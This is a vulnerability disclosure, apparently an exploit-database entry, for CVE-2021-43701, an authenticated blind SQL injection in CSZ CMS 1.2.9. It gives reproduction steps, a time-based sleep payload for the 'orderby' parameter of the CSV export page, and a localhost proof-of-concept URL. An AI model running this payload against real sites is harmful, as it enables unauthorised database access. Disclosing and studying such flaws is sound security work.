CSZ CMS 1.2.9 - Multiple Blind SQL injection (Authenticated) Vulnerability

# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated)
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.2.9.zip
# Version: 1.2.9
# Tested on: Windows 10, Kali Linux, PHP 7.4.16, Apache 2.4.46
# CVE: CVE-2021-43701

*Steps to Reproduce:*
1. First login to your Admin Panel
2. then go to "General Menu > CSV Export / Import".
3. open burp site and configure with browser.
4. then select any "Table Name" > Select "Fields Select" and Select "Sort by"
5. Now click "Export to CSV" and intercept with burp suite
6. "fieldS[]" or "orderby" parameter is vulnerable. Let's try to inject Blind SQL Injection using this query "(select(0)from(select(sleep(10)))a)" in "orderby" parameter.

*Proof of Concept:*
http://127.0.0.1/CSZCMS/admin/export/getcsv/article_db?fieldS%5B%5D=article_db_id&orderby=(select(0)from(select(sleep(10)))a)&sort=ASC&submit=Export+to+CSV

*Output:*
By issuing sleep(0) response will be delayed to 0 seconds.
By issuing sleep(1) response will be delayed to 1 seconds.
By issuing sleep(5) response will be delayed to 5 seconds.
By issuing sleep(10) response will be delayed to 10 seconds